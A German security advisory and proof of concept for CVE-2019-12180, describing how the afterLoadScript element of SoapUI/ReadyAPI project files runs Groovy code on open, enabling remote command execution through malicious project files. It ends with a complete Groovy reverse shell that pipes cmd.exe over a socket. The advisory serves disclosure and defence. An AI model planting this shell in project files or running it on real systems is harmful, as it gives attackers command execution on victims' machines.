
Advisory und Proof of Concept für CVE-2019-12180, das die Ausführung beliebigen Groovy-Codes in SoapUI und ReadyAPI über bösartige Projektdateien demonstriert.
Advisory & PoC
SoapUI und ReadyAPI ermöglichen es, dynamische Inhalte zu Testfällen hinzuzufügen (z. B. zur Berechnung eines Zeitstempels im laufenden Betrieb) mittels Apache Groovy Language Skripten. Die Ausführung dieser Skripte kann auf viele Arten ausgelöst werden, und sie werden beim Speichern eines Projekts in der XML-„Projektdatei“ gespeichert.
Die Funktion „Load Script“ ermöglicht es, ein Groovy-Skript zu erstellen, das beim Öffnen der Projektdatei gestartet wird (Element con:afterLoadScript der XML-Projektdatei), ohne weitere Benutzerinteraktion. Dieses Verhalten kann von einem Angreifer missbraucht werden, um bösartige Projektdateien zu erstellen, die nach dem Öffnen beliebigen Groovy-Code auf dem Opfersystem ausführen. Da es mit der Groovy-Sprache möglich ist, Systembefehle auszuführen, kann diese Funktion effektiv zur Ausführung von Remote-Befehlen missbraucht werden.
HINWEIS: Das gleiche Ziel kann durch die Ausnutzung jeder anderen Groovy-Skript-fähigen Funktion (z. B. „Save Script“) erreicht werden, dies erfordert jedoch nach dem Laden der Projektdatei zusätzliche Benutzerinteraktion.
Verwundbare Anwendungen:
Zum Zeitpunkt der Erstellung dieses Textes (2020-02-04) handelt es sich um eine 0day-Schwachstelle, da (mehrere) vorgeschlagene Offenlegungstermine verstrichen sind, ohne dass der Anbieter einen Patch veröffentlicht hat.
Beispiel Groovy Reverse Shell (https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76):
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();